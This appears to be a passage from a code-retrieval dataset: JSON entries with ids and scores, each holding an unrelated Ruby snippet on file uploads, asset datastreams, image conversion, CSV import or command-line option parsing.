# import_file_sha256_hexdigest has been calculated, and\n # import_file_size has been set, regardless of import type.\n\n original_filename = File.basename(@import_file_original_file_path || @import_file_import_path)\n\n # If the title of this Asset is the DEFAULT_ASSET_NAME, use the original filename as the title.\n # If the title of this Asset is NOT equal to DEFAULT_ASSET_NAME, that means that a title was\n # manually set by the user in this Asset's digital_object_data.\n set_title('', original_filename) if get_title == DEFAULT_ASSET_NAME\n\n # Create datastream for file\n\n # \"controlGroup => 'E'\" below means \"External Referenced Content\" -- as in, a file that's referenced by Fedora but not stored in Fedora's internal data store\n\n # Line below will create paths like \"file:/this%23_and_%26_also_something%20great/here.txt\"\n # We DO NOT want a double slash at the beginnings of these paths.\n # We need to manually escape ampersands (%26) and pound signs (%23) because these are not always handled by Addressable::URI.encode()\n ds_location = Addressable::URI.encode('file:' + path_to_final_save_location).gsub('&', '%26').gsub('#', '%23')\n content_ds = @fedora_object.create_datastream(ActiveFedora::Datastream, 'content', controlGroup: 'E', mimeType: DigitalObject::Asset.filename_to_mime_type(original_filename), dsLabel: original_filename, versionable: true)\n content_ds.dsLocation = ds_location\n @fedora_object.datastreams[\"DC\"].dc_source = path_to_final_save_location\n content_ds.checksum = import_file_sha256_hexdigest\n content_ds.checksumType = 'SHA-256'\n @fedora_object.add_datastream(content_ds)\n\n # Add size property to content datastream using :extent predicate\n @fedora_object.rels_int.add_relationship(content_ds, :extent, import_file_size.to_s, true) # last param *true* means that this is a literal value rather than a relationship\n\n # Add original filename property to content datastream using <info:fedora/fedora-system:def/model#downloadFilename> relationship\n @fedora_object.rels_int.add_relationship(content_ds, 'info:fedora/fedora-system:def/model#downloadFilename', original_filename, true) # last param *true* means that this is a literal value rather than a relationship\n\n # Assume top-left orientation at upload time. This can be corrected later in the app.\n @fedora_object.rels_int.add_relationship(content_ds, :orientation, 'top-left', true) # last param *true* means that this is a literal value rather than a relationship\n\n self.original_file_path = (@import_file_original_file_path || @import_file_import_path) # This also updates the 'content' datastream label\n end", "title": "" }, { "docid": "aa062a7d736003ba560831042e1a65b5", "score": "0.5239021", "text": "def file_to_upload=(file_path)\n begin\n save_on_error = true\n if file_path\n if @do_upload || can_upload? == false\n # if we are already uploading then we have bad state since someone may have\n # tried to set a photo twice - in this case set an internal flag so that we\n # fail validation - this would only ever be proper if we allowed for modification\n # in place\n # also only allow upload if in assigned state currently\n\n ZZ::ZZA.new.track_transaction(\"photo.upload.error.duplicate\", self.id)\n msg = \"file_to_upload was called multiple times or a photo upload is already in progress or has taken place\"\n\n # note we do not change the database state to error since we don't want to mess up the current one\n errors.add(:image_path, msg)\n save_on_error = false # don't save the photo state\n raise PhotoValidationError.new(msg)\n else\n ZZ::ZZA.new.track_transaction(\"photo.upload.start\", self.id)\n\n self.mark_uploading\n self.source_path = file_path\n self.image_file_size = File.size(file_path)\n\n # gather and set the image metadata based on this file\n # also sets content_type\n set_image_metadata\n\n # verify that file state is ok before moving forward\n verify_file_type\n\n # if non ordered and did not previously have a capture date, set position now\n if upload_batch.nil? == false && upload_batch.custom_order_offset == 0\n set_default_position\n end\n\n # see if we should add any initial rotation based on the\n # camera orientation info - if rotation is already set\n # then do not change it - allows upload process to specify\n # any rotation wanted, useful for cases such as fetching zz photos\n # from the connector and not losing any existing rotation info\n self.rotate_to ||= orientation_as_rotation(self.orientation)\n\n end\n end\n rescue Exception => ex\n # don't do the upload if validation failed\n @do_upload = false\n\n # call failed so get rid of temp file right now\n remove_source\n\n # only save our state if we are not part of an insert batch operation\n self.error_message = ex.message\n self.save unless save_on_error == false || self.inserting_for_batch\n\n # reraise the error\n raise ex\n end\n end", "title": "" }, { "docid": "1c16e08f299c45e42d9ce6b8c5b10002", "score": "0.5229561", "text": "def already_stored?\n File.exist?(local_file)\n end", "title": "" }, { "docid": "b902588ac399e40d828e0b8efa3836f3", "score": "0.52193445", "text": "def properly_contained?\n !file_path.empty?\n end", "title": "" }, { "docid": "737d5ef2c144d89e711983b7f7e42468", "score": "0.5217842", "text": "def check_continue()\n if $imported[\"IEX_Scene_File\"]\n @continue_enabled = (Dir.glob(\"#{IEX::Saving_Scene::Save_Data_Name}*.rvdata\").size > 0)\n else\n @continue_enabled = (Dir.glob('Save*.rvdata').size > 0)\n end\n end", "title": "" }, { "docid": "031feebd25183d3ad3372655adc2dd76", "score": "0.5216134", "text": "def upload_requested?\n @model.censorship_status == 'DONE' && context[:params][:upload] == 'true'\n end", "title": "" }, { "docid": "4a64c65874a08ead32e71267dfe0a298", "score": "0.5207261", "text": "def file?\n self.file.file?\n end", "title": "" }, { "docid": "a8505144173c562aee72bc8f706f5472", "score": "0.5207063", "text": "def file?(path)\n true\n end", "title": "" }, { "docid": "e843f8edb764fd65d6a094ba4598717d", "score": "0.52067524", "text": "def original_file_exists?\n !original_file_paths.empty?\n end", "title": "" }, { "docid": "d63e778c1fdbbc0eabd667637428bf32", "score": "0.51851195", "text": "def valid?\n File.exists? path_data\n end", "title": "" }, { "docid": "9aed2a9f3e91844b0d9da605625552a6", "score": "0.5183047", "text": "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n if @status.nil?\n return false\n end\n\n \n \n allowed_values = [\"WaitingForUpload\", \"Processing\", \"Failed\", \"Succeeded\"]\n if @status && !allowed_values.include?(@status)\n return false\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n allowed_values = [\"ReplaceAll\", \"Append\"]\n if @import_mode && !allowed_values.include?(@import_mode)\n return false\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "title": "" }, { "docid": "265dcde54c83d978ccc71b287cfdcea4", "score": "0.5181848", "text": "def upload\n logger.info{\"AT THE BEGINNING OF UPLOAD\"}\n first_row = Array.new\n flash_error = Hash.new\n name = Time.now.to_s + params[:datafile].original_filename \n directory = \"data/\" + @project.id + \"/\" + Date.today.to_s\n unless Dir.exists?(directory)\n unless Dir.exist?(\"data/\" + @project.id)\n Dir.mkdir(\"data/\" + @project.id)\n end\n Dir.mkdir(directory)\n end\n @new_file = File.join(directory,name)\n File.open(@new_file, \"wb\"){ |f| f.write(params['datafile'].read)}\n begin \n #data_stream_template = Voeis::DataStream.get(params[:data_template_id])\n start_line = parent.managed_repository{Voeis::DataStream.get(params[:data_template_id]).start_line}\n data_col_count = parent.managed_repository{Voeis::DataStream.get(params[:data_template_id]).data_stream_columns.count}\n site_id = parent.managed_repository{Voeis::DataStream.get(params[:data_template_id]).sites.first.id}\n logger.info {\"FETCHED ******* Data Template start line:\" + start_line.to_s}\n csv = CSV.open(@new_file, \"r\")\n (0..start_line).each do\n first_row = csv.readline\n end\n csv.close()\n if first_row.count == data_col_count\n flash_error = flash_error.merge(parent.managed_repository{Voeis::SensorValue.parse_logger_csv(@new_file, params[:data_template_id], site_id)})\n else\n #the file does not match the data_templates number of columns\n flash_error[:error] = \"File does not match the data_templates number of columns.\"\n logger.info {\"File does not match the data_templates number of columns.\"}\n end\n rescue Exception => e\n logger.info {e.to_s}\n #problem parsing file\n flash_error[:error] = \"There was a problem parsing this file.\"\n logger.info {\"There was a problem parsing this file.\"}\n end\n #parent.publish_his\n respond_to do |format|\n if params.has_key?(:api_key)\n format.json\n end\n if flash_error[:error].nil?\n flash[:notice] = \"File was parsed succesfully.\"\n else\n flash[:warning] = flash_error[:error]\n end\n format.html { redirect_to(project_path(parent)) }\n end\n end", "title": "" }, { "docid": "87107ad786a267fd6bbeac38a800c769", "score": "0.5179156", "text": "def upload_user_photo(user_photo)\n tool = FaceMorphing.new\n\n # Fix rotation based on EXIF\n photo_path = tool.auto_oriented(user_photo.path)\n\n # Call detecting script, set 'detected_path' to new file\n detected_path = tool.detected(photo_path)\n if detected_path\n # Only if detection succeed\n self.user_photo = File.open(photo_path)\n self.detected_user_photo = File.open(detected_path)\n\n # Resize to max width for morphed images\n resized_path = tool.cropped(photo_path)\n if resized_path\n self.cropped_user_photo = File.open(resized_path)\n reset_crop_params\n end\n\n apply_student_photo\n save\n else\n false\n end\n rescue => ex\n false\n end", "title": "" }, { "docid": "640ac383d75cde2d7682c32c1cd9342e", "score": "0.51747084", "text": "def check_for_file\n File.exist? @fullpath \n end", "title": "" }, { "docid": "45e9ed184a81f8bb38d3a56cd873f5b7", "score": "0.5169464", "text": "def successful_conversion?\n\t\t# Anpassung des Dateinamens\n\t\tsource = File.join(\"tmp\", \"#{@user.screen_name}_full_size\")\n\t\tfull_size = File.join(DIRECTORY, filename)\n\t\tthumbnail = File.join(DIRECTORY, thumbnail_name)\n\t\t# Sicherstellen das beide Bilder als normale Datei gespeichert wurden\n File.open(source,\"wb\"){|f| f.write(@image.read) }\n # Umwandelung der Dateien durch ImageMagick (konvertiert in PNG)\n\t\timg=system(\"convert #{source} -resize 240x330 #{full_size}\")\n\t\tthumb=system(\"convert #{source} -resize 50x64 #{thumbnail}\")\n\t\t# Beide Umwandelungen müssen erfolgreich sein, sonst Fehlerausgabe\n\t\tunless img and thumb\n\t\t\terrors.add(:base,\"Bild Upload fehlgeschlagen. Versuch ein anderes Bild!\")\n\t\t\treturn false\n\t\tend\n\t\treturn true\n\tend", "title": "" }, { "docid": "d84e9c6baac0a03ea1b6acefd578a93d", "score": "0.5169246", "text": "def upload_valid()\n if current_user.tenant.pricing_plan.allow_assessments then\n # if current_user.tenant.pricing_plan.plan_group == \"assessment_only_plan\" then\n # max_learners_to_be_assigned = current_user.tenant.max_learner_credit\n # total_leaners_assigned = current_user.tenant.remaining_learner_credit\n # if tenant.remaining_learner_credit > 0 then\n # return true\n # else\n # return false\n # end\n # else\n # return true\n # end\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "01d812efa6d7707af33c4ac4ab994f5c", "score": "0.5166897", "text": "def sucessful_conversion?\n\t\t# Prepare the filenames for the conversion.\n\t\tsource = File.join(\"tmp\", \"#{@user.screen_name}_full_size\")\n\t\tfull_size = File.join(DIRECTORY, filename)\n\t\tthumbnail = File.join(DIRECTORY, thumbnail_name)\n\n\t\t# Ensure that small and large images both work by writing to a normal file.\n\t\t# (Small files show up as StringIO, larger ones as Tempfiles.)\n\t\tFile.open(source, \"wb\") { |f| f.write(@image.read) }\n\n\t\t# Convert the files.\n\t\timg = system(\"#{convert} #{source} -resize #{IMG_SIZE} #{full_size}\")\n\t\tthumb = system(\"#{convert} #{source} -resize #{THUMB_SIZE} #{thumbnail}\")\n\t\tFile.delete(source) if File.exists?(source)\n\n\t\t# Both conversions must succeed, else it's an error.\n\t\tunless img and thumb\n\t\t\terrors.add_to_base(\"File upload failed. Try a different image?\")\n\t\t\treturn false\n\t\tend\n\n\t\t# No error-checking yet!\n\t\treturn true\n\tend", "title": "" }, { "docid": "c0acb86df1331b6744d7cc1f7dd98290", "score": "0.5160679", "text": "def is_uploaded\n result = exists\n\n result.message =\n if result.data == true\n \"Package #{@call_params[:group_name]}/#{@call_params[:package_name]}-#{@call_params[:package_version]} is uploaded\"\n else\n \"Package #{@call_params[:group_name]}/#{@call_params[:package_name]}-#{@call_params[:package_version]} is not uploaded\"\n end\n\n result\n end", "title": "" }, { "docid": "582ffb2229df9bbf4677b50b8b54abcd", "score": "0.5158778", "text": "def upload_file\n store = CsvStorage.find_or_create_by(csv_file_type: type)\n\n old_logger = ActiveRecord::Base.logger\n ActiveRecord::Base.logger = nil\n\n begin\n # Require an upload file, doesn't make sense to allow updates without.\n raise StandardError.new(\"No upload file provided.\") if upload.blank?\n\n store.data_store = upload.read.gsub!(/\\r\\n?/, \"\\n\")\n rc = store.save \n rescue StandardError => e\n errors[:base] << e.message\n rc = false\n ensure\n ActiveRecord::Base.logger = old_logger \n end\n\n return rc\n end", "title": "" }, { "docid": "3a257c81273f4a5fddf83500e9f7a324", "score": "0.51512027", "text": "def process_upload\n logger.debug \"Uploaded: #{@input}\"\n filename = @input['Filedata'][:filename].strip\n\n # save upload\n upload = Satellite::Models::Upload.new(filename)\n upload.save(@input['Filedata'][:tempfile])\n\n # allow extra post-save logic\n yield upload if block_given?\n\n # respond with plain text (since it's a flash plugin)\n Success.new('Thanks!', 'Content-Type' => 'text/plain').response\n end", "title": "" }, { "docid": "370d3d0dc82f31820c03bf71451060dd", "score": "0.51480544", "text": "def file?(path)\n database, id, *parts = extract_parts(path)\n \n case named_path(path)\n when :database_info, :show_function_result, :list_function_result, :uuid\n true\n when :view_function_result\n # Every javascript or HTML is a file, based on extension\n [\".js\", \".html\"].include?(File.extname(path))\n when :document_part\n # look into document\n doc = document(database, id, parts)\n # only arrays and hashes are mapped into directories\n !doc.nil? && !(doc.is_a?(Hash) || doc.is_a?(Array))\n else\n false\n end\n end", "title": "" } ]
3addfb0e7f06eb14c1736784604871ce
Performs postparse processing on options
[ { "docid": "82ff6c2f29ff8a484a977d398cab62d3", "score": "0.0", "text": "def process_options\n if @options.filename\n @log = Logger.new(@options.filename)\n else\n @log = Logger.new(STDOUT)\n end\n @log.level = Logger::WARN\n @log.level = Logger::INFO if @options.verbose\n @log.level = Logger::DEBUG if @options.debug\n @log.datetime_format=\"%Y:%m:%d:%H:%M:%S\"\n # TO DO - addition post processing on options\n end", "title": "" } ]
[ { "docid": "64387b49ac4941dcaaa52168e56a52e5", "score": "0.7552417", "text": "def _process_options(options); end", "title": "" }, { "docid": "64387b49ac4941dcaaa52168e56a52e5", "score": "0.7552417", "text": "def _process_options(options); end", "title": "" }, { "docid": "64387b49ac4941dcaaa52168e56a52e5", "score": "0.7552417", "text": "def _process_options(options); end", "title": "" }, { "docid": "b5ce49b5a2c9556839d13856f49711d3", "score": "0.7356947", "text": "def parse_options(options); end", "title": "" }, { "docid": "467eb150d9c120cf1ff046cb1c75f0c9", "score": "0.7308261", "text": "def process_options\n end", "title": "" }, { "docid": "467eb150d9c120cf1ff046cb1c75f0c9", "score": "0.7308261", "text": "def process_options\n end", "title": "" }, { "docid": "8bec6e5bf88cfd37fc3ea2de30cfc2d5", "score": "0.70988643", "text": "def process_options\n\n end", "title": "" }, { "docid": "8bec6e5bf88cfd37fc3ea2de30cfc2d5", "score": "0.70988643", "text": "def process_options\n\n end", "title": "" }, { "docid": "51383bcfe7e292f0a851b19c245c3aad", "score": "0.7081571", "text": "def process_options\n \n end", "title": "" }, { "docid": "79e84530108cbba71b2a21e0131e71a7", "score": "0.6974218", "text": "def process_options\n \n end", "title": "" }, { "docid": "46f69e98ddcd4f1ce1407c1ce88988e9", "score": "0.6956265", "text": "def parse\n @parse_options_method.call @parser\n end", "title": "" }, { "docid": "598c6af7eeda3cae36298fc10bb45b79", "score": "0.6883062", "text": "def parse\n # @opts = OptionParser.new(&method(:set_opts))\n OptionParser.new do |opts|\n set_opts(opts)\n end.parse!(@args)\n\n process_args\n\n @options\n end", "title": "" }, { "docid": "598c6af7eeda3cae36298fc10bb45b79", "score": "0.6883062", "text": "def parse\n # @opts = OptionParser.new(&method(:set_opts))\n OptionParser.new do |opts|\n set_opts(opts)\n end.parse!(@args)\n\n process_args\n\n @options\n end", "title": "" }, { "docid": "a0f1267129073a5b905c399d0c4039be", "score": "0.68648267", "text": "def parse_options(opts, args); end", "title": "" }, { "docid": "fb535af7f3704cd4644944caf4920fac", "score": "0.68255347", "text": "def handle_options(argv); end", "title": "" }, { "docid": "e1f21c7baf7b60fb6e13416e1bccbce6", "score": "0.6824029", "text": "def parse_options!\n Log.log.debug(\"parse_options!\".red)\n # first conf file, then env var\n apply_options_preset(@unprocessed_defaults,\"file\")\n apply_options_preset(@unprocessed_env,\"env\")\n # command line override\n unknown_options=[]\n begin\n # remove known options one by one, exception if unknown\n Log.log.debug(\"before parse\".red)\n @parser.parse!(@unprocessed_cmd_line_options)\n Log.log.debug(\"After parse\".red)\n rescue OptionParser::InvalidOption => e\n Log.log.debug(\"InvalidOption #{e}\".red)\n # save for later processing\n unknown_options.push(e.args.first)\n retry\n end\n Log.log.debug(\"remains: #{unknown_options}\")\n # set unprocessed options for next time\n @unprocessed_cmd_line_options=unknown_options\n end", "title": "" }, { "docid": "8886fd7b9854e19dc477bc462128bfc2", "score": "0.6699218", "text": "def parse\n @opts = OptionParser.new(&method(:set_opts))\n @opts.parse!(@args)\n\n process_result\n\n @options\n end", "title": "" }, { "docid": "8886fd7b9854e19dc477bc462128bfc2", "score": "0.6699218", "text": "def parse\n @opts = OptionParser.new(&method(:set_opts))\n @opts.parse!(@args)\n\n process_result\n\n @options\n end", "title": "" }, { "docid": "50a79a27b58c5a2fffeb72a9fc299ecf", "score": "0.6651136", "text": "def parse_options\n\t\t@config\n\t end", "title": "" }, { "docid": "1bb048fc03594e1accc14e34e2561ecd", "score": "0.66497654", "text": "def post_option_parser(configuration)\n if ARGV.length >= 1\n configuration[:action] = ARGV.delete_at(0)\n\n configuration[:target] = ARGV.delete_at(0) || \".\"\n\n if configuration[:action] == \"generate\"\n unless ARGV[0] && ARGV[0].match(/(actions|outputs)=(.+)/i)\n unless configuration[:pluginname]\n configuration[:pluginname] = ARGV.delete_at(0)\n else\n ARGV.delete_at(0)\n end\n end\n\n ARGV.each do |argument|\n if argument.match(/(actions|outputs)=(.+)/i)\n configuration[$1.downcase.to_sym]= $2.split(\",\")\n else\n raise \"Could not parse --arg '#{argument}'\"\n end\n end\n end\n end\n end", "title": "" }, { "docid": "4b0c1e8dfabc18c1dc43739650c445b7", "score": "0.6648148", "text": "def parse\n @opts = OptionParser.new(&method(:set_opts))\n @opts.parse!(@args)\n\n process_result\n\n @options\n end", "title": "" }, { "docid": "82b6dfe33e8175a40084aaa601c74055", "score": "0.66244006", "text": "def parse_options\n @parser.parse!(@argv)\n rescue OptionParser::InvalidOption => er\n raise Mongify::InvalidOption, er.message, er.backtrace\n end", "title": "" }, { "docid": "238b6eddc90d654ccf7aceb47e258a1f", "score": "0.66210914", "text": "def parse\n @opts = OptionParser.new(&method(:set_opts))\n\n @opts.parse!(@args)\n\n process_result\n\n @options\n end", "title": "" }, { "docid": "5a7e96d7254358509a238283a7f32ff1", "score": "0.6589716", "text": "def parse! args\n get_options args, true\n end", "title": "" }, { "docid": "8702c195776654d43fef08af81455677", "score": "0.65802133", "text": "def parse(args)\n @options = args\n end", "title": "" }, { "docid": "a77565acbff50fd91cabb994efe7cceb", "score": "0.65681934", "text": "def parse_options\n @parser.parse!(@argv)\n rescue OptionParser::InvalidOption => er\n raise Mongify::InvalidOption, er.message, er.backtrace\n end", "title": "" }, { "docid": "57a5f467324abcb5be25803e0da7e2d3", "score": "0.65165776", "text": "def process_options\n self.options ||= {}\n \n self.set_parent_fields!\n self.set_tag_fields!\n self.set_sorting!\n self.set_language!\n self.clean_up_angle_brackets\n \n # Clean up blank options from forms\n self.options.delete_if { |key, value| value.blank? }\n end", "title": "" }, { "docid": "57a5f467324abcb5be25803e0da7e2d3", "score": "0.65165776", "text": "def process_options\n self.options ||= {}\n \n self.set_parent_fields!\n self.set_tag_fields!\n self.set_sorting!\n self.set_language!\n self.clean_up_angle_brackets\n \n # Clean up blank options from forms\n self.options.delete_if { |key, value| value.blank? }\n end", "title": "" }, { "docid": "355a1865df678453e39dc785aa6b7dd1", "score": "0.65109587", "text": "def parse_options(options)\n super\n @target = options.delete(:target)\n @expanded = !!options.delete(:expanded)\n end", "title": "" }, { "docid": "9d66bab095e9255bc4848ba494f9a21d", "score": "0.6490668", "text": "def optargs_parse(command, post_get_opts)\n opt_args = {}\n options = {}\n opts = OptionParser.new\n\n opts.banner = \"Usage: httpplayer.rb [options] #{command} [options]\"\n\n post_get_opts.keys.each do |path| \n opt_args.merge!(post_get_opts[path][:params])\n end\n\n opt_args.keys.reject{|i| !opt_args[i].has_key?(:flags) }.each do |key|\n opts.on(opt_args[key][:flags][0], opt_args[key][:flags][1],\n opt_args[key].has_key?(:label) ? opt_args[key][:label] : key.to_s) do |v|\n options[key] = v\n end\n end\n opts.on(\"-h\", \"--help\", \"Display this help\") do |v| \n options[:help] = v\n puts opts\n exit 0\n end\n opts.order!\n\n return options\n end", "title": "" }, { "docid": "83efa18cea21085956c40d5d3c722602", "score": "0.64896953", "text": "def handle_options(args)\n args = add_extra_args(args)\n @options = @defaults.clone\n parser.parse!(args)\n @options[:args] = args\n end", "title": "" }, { "docid": "5e666714e163643abb384be093269eaf", "score": "0.6488118", "text": "def parse(args)\n @opt_parser.parse(args)\n end", "title": "" }, { "docid": "5e666714e163643abb384be093269eaf", "score": "0.6488118", "text": "def parse(args)\n @opt_parser.parse(args)\n end", "title": "" }, { "docid": "5e666714e163643abb384be093269eaf", "score": "0.6488118", "text": "def parse(args)\n @opt_parser.parse(args)\n end", "title": "" }, { "docid": "8b13a712acd7221c4089bb5d82d0fa2b", "score": "0.64874405", "text": "def post_option_parser(configuration)\n if ARGV.length >= 1\n configuration[:action] = ARGV.delete_at(0)\n\n configuration[:target] = ARGV.delete_at(0) || \".\"\n end\n end", "title": "" }, { "docid": "8b13a712acd7221c4089bb5d82d0fa2b", "score": "0.64874405", "text": "def post_option_parser(configuration)\n if ARGV.length >= 1\n configuration[:action] = ARGV.delete_at(0)\n\n configuration[:target] = ARGV.delete_at(0) || \".\"\n end\n end", "title": "" }, { "docid": "dc59530b4e1d6e8a3bc94babfa01d1a4", "score": "0.6462893", "text": "def parse_options!\n self.options = (parsed_options_from_args || {}).merge(self.options)\n end", "title": "" }, { "docid": "e0666876515c0daeab89a6ad70638bfe", "score": "0.63978857", "text": "def parse_yardopts_options(*args); end", "title": "" }, { "docid": "e1c4bcb80724a6aa734452ab964e9e13", "score": "0.63557696", "text": "def process_options\n CmdOptions.export_format = 'json'\n while !ARGV.empty? && ARGV.first =~ /^-/\n opt = ARGV.slice!(0)\n case opt\n when '-yaml'\n CmdOptions.export_format = 'yaml'\n when '-json'\n CmdOptions.export_format = 'json'\n else\n usage \"Unknown option: #{opt}\"\n end\n end\nend", "title": "" }, { "docid": "e619a0daa5763ac16122a14f5ec1b4ee", "score": "0.62458557", "text": "def parse(args)\n # The options specified on the command line will be collected in *options*.\n # We set default values here.\n\n @opts.parse(args)\n\n @options\n end", "title": "" }, { "docid": "23bdc211efc35d6c630151f4c09d735d", "score": "0.6243852", "text": "def process_option argslist\n set_option argslist\n end", "title": "" }, { "docid": "dfbf7ddff88b5ca51440ddd23d3dfd37", "score": "0.62412626", "text": "def parsed_options?\n\n # Specify options\n option_parser = OptionParser.new { |opts|\n\n opts.banner = \"Usage: #$0 [options]\"\n\n explanation = <<-EOE\n\nA POSTFIX daemon that filters email for URLs and sends the URLs off to\nRabbitMQ queue to be later processed.\n\n\nExamples:\n ./postfix_url_daemon.rb --port 8081 --workers 10 --sendmail \\\\\\\\\n --amqp_host drone.honeyclient.org \\\\\\\\\n --amqp_port 5672 --amqp_vhost /collector.testing --amqp_user guest \\\\\\\\\n --amqp_password guest --exchange events \\\\\\\\\n --amqp_routing_key 1.job.create.job.urls.job_alerts \\\\\\\\\n --no-amqp_logging --timeout 100 --use nokogiri \\\\\\\\\n --daemonize --no-sendmail\n\n ./postfix_url_daemon.rb -h\n\n ./postfix_url_daemon.rb --no-daemonize\n EOE\n\n opts.separator(explanation)\n opts.separator('')\n opts.separator('Common options:')\n\n opts.on('-v', '--version', 'Display version number and exit.') {output_version ; exit 0 }\n\n opts.on('-V', '--[no-]verbose', \"Run verbosely. Default is '#{$options.verbose}'.\") { |boolean|\n $options.verbose = boolean\n }\n\n opts.on('-h', '--help', 'Display this help and exit.') do\n puts opts\n exit\n end\n\n opts.separator('')\n opts.separator('Daemon options:')\n\n opts.on('-P', '--port PORT', String, \"Set port to PORT. Default is '#{$options.port}'.\") { |port|\n $options.port = port\n }\n\n opts.on('-W', '--workers INTEGER', Integer, \"Set number of workers to INTEGER. Default is '#{$options.workers}'.\") { |workers|\n $options.workers = workers\n }\n\n opts.separator('')\n opts.separator('AMQP server options:')\n\n opts.on('--amqp_host HOST', String, 'Set amqp_host to HOST.') { |amqp_host|\n $options.amqp_host = amqp_host\n }\n\n opts.on('--amqp_port PORT', Integer, 'Set amqp_port to PORT.') { |amqp_port|\n $options.amqp_port = amqp_port\n }\n\n opts.on('-u', '--amqp_user USER', String, 'Set user login to USER.') { |user|\n $options.amqp_user = user\n }\n\n opts.on('-p', '--amqp_password PASSWORD', String, 'Set password to PASSWORD.') {|password|\n $options.amqp_password = password\n }\n\n opts.on('-e', '--amqp_exchange EXCHANGE', String, 'Set exchange to EXCHANGE.') {|exchange|\n $options.amqp_exchange = exchange\n }\n\n opts.on('-v', '--amqp_vhost VHOST', String, 'Set virtual host to VHOST.') {|vhost|\n $options.amqp_vhost = vhost\n }\n\n opts.on('-k', '--amqp_routing_key ROUTING_KEY', String, 'Set routing key to ROUTING_KEY.') {|routing_key|\n $options.amqp_routing_key = routing_key\n }\n\n opts.separator('')\n opts.separator('Actions:');\n\n opts.on('--[no-]sendmail', \"Send message onto SendMail. Default is '#{$options.sendmail}'.\") { |boolean|\n $options.sendmail = boolean\n }\n\n opts.on('--[no-]amqp_logging', \"Enable AMQP server interaction logging. Default is '#{$options.amqp_logging}'.\") { |boolean|\n $options.amqp_logging = boolean\n }\n\n opts.on('--use [PARSER]', [:uri, :hpricot, :nokogiri], \"Select PARSER for HTML/XML (uri, hpricot, nokogiri). Default is '#{$options.use}'.\") { |parser|\n $options.use = parser\n }\n\n opts.on('--[no-]ignore_attachments', \"Don\\'t parse attachments. Default is '#{$options.ignore_attachments}'.\") { |boolean|\n $options.ignore_attachments = boolean\n }\n\n opts.on('-t', '--timeout SECONDS', Integer, \"Set a SECONDS timeout for how long the filter should run parsing for URLs. Default is '#{$options.timeout}'.\") { |timeout|\n $options.timeout = timeout\n }\n\n opts.on('-c', '--count_period SECONDS', Integer, \"Set period of seconds to hold the count of URLs sent to the AMQP server to SECONDS. Default is '#{$options.count_period}'.\") { |count_period|\n $options.count_period = count_period\n }\n\n opts.on('-m', '--max_count MAX_COUNT', Integer, \"Set count of URLS sent to the AMQP server to MAX_COUNT. Default is '#{$options.max_count}'.\") { |max_count|\n $opts.max_count = max_count\n }\n\n opts.on('--[no-]daemonize', \"Daemonize the service. Default is '#{$options.daemonize}'.\") { |boolean|\n $options.daemonize = boolean\n }\n }\n\n option_parser.parse!(@arguments) rescue return false\n\n post_process_options\n\n true\n end", "title": "" }, { "docid": "8dcc038579166e9f10387cd903512a40", "score": "0.6232167", "text": "def parse_options!(argv)\n @opts.order!(argv)\n if (!argv.empty?) then\n # Try to treat an unknown option as a UID\n uid = argv.shift\n end\n @opts.order!(argv)\n if (!argv.empty?) then\n # Try to treat the next option as a FULLNAME\n full_name = argv.shift\n parse_full_name full_name\n end\n @opts.order!(argv)\n show_help_exit unless uid\n set_full_name\n set_uid uid\n ## set default values if not given by options\n set_comment is_mode?(:test) ? 'test account' : 'normal account' unless @comment\n set_expire '?' unless @expire\n end", "title": "" }, { "docid": "8fa23902514bb7740e67b5a7865b0b08", "score": "0.6220192", "text": "def opt_parser; end", "title": "" }, { "docid": "cc3f3cd29cd10ff72cab68fb076eaf1c", "score": "0.62178606", "text": "def parse_options(argv)\n opts = {}\n parser = OptionParser.new\n parser.banner = \"Usage: post_maker [options]\"\n parser.separator \"\"\n parser.on(\"-l\", \"--lang LANG\", \"Output language (markdown or html)\") do |lang|\n opts[:lang] = lang\n end\n parser.on(\"-f\", \"--format FORMAT\", \"Output format (summary or full)\") do |format|\n opts[:format] = format\n end\n parser.on(\"-o\", \"--output FILE\", \"Output file (standard output by default)\") do |file|\n opts[:file] = file\n end\n parser.on(\"-s\", \"--start DATE\", \"Start date (format YYYY-MM-DD)\") do |date|\n opts[:start_date] = date\n end\n parser.on(\"-e\", \"--end DATE\", \"End date (format YYYY-MM-DD)\") do |date|\n opts[:end_date] = date\n end\n parser.on(\"-u\", \"--users USERS\", \"List of users separated by commas to filter\") do |users|\n opts[:users] = users.split(\",\").map(&:chomp)\n end\n parser.on_tail(\"-h\", \"--help\", \"Display help\") do\n puts parser\n exit\n end\n\n begin\n parser.parse!(argv)\n rescue\n puts parser\n exit 1\n end\n\n opts\n end", "title": "" }, { "docid": "cd423435b1861823d675d5babb275d1c", "score": "0.6216255", "text": "def parse_options(options)\n options[\"type\"] ||= type\n options[\"type\"] = options[\"type\"].to_s\n \n if options.delete(\"obfuscate\")\n options[\"nomunge\"] = \"\"\n end\n if options.delete(\"verbose\")\n options[\"verbose\"] = \"\"\n end\n options[\"charset\"] = \"utf-8\"\n\n if options[\"type\"] == \"js\" && !options[\"preserve_semi\"]\n options[\"preserve-semi\"] = \"\"\n end \n \n options \n end", "title": "" }, { "docid": "c95e722dbd513c711eca01ba61596a15", "score": "0.6215411", "text": "def parse_options\n @option_parser = OptionParser.new do |opts|\n opts.on('-p', '--parser NAME', 'Name of parser') do |parser_name|\n @options[:parser_name] = parser_name\n end\n \n opts.on('-f', '--file FILE', 'Input file to parse') do |parser_file|\n @options[:parser_file] = parser_file\n end\n \n opts.on('--force', 'Force overwriting of files') do\n Files.force = true\n end\n \n opts.on_tail('-v', '--version', 'Show version') do\n puts \"VidSkim version #{VERSION}\"\n exit\n end\n end\n @option_parser.banner = BANNER\n @option_parser.parse!(ARGV)\n end", "title": "" }, { "docid": "c9e7637ea9ecc563399e98fafdbdb328", "score": "0.61915046", "text": "def parse(argv)\n @options.parse!(argv)\n rescue OptionParser::InvalidOption, OptionParser::MissingArgument\n STDERR.puts \"#{$!}\\n\\n\"\n STDERR.puts @options\n exit! 1\n end", "title": "" }, { "docid": "767b4dbd88549d07bf3257f469f8166f", "score": "0.6190575", "text": "def process_options\n @options.verbose = false if @options.quiet\n @options.dictionary = File.read(@options.dictionary) if @options.dictionary\n @options.words = @options.dictionary.scan(/^[\\w\" \"'-\\.\\^]+/) if @options.dictionary\n end", "title": "" }, { "docid": "76e3b0394297fce550f474d8cd887a37", "score": "0.6188557", 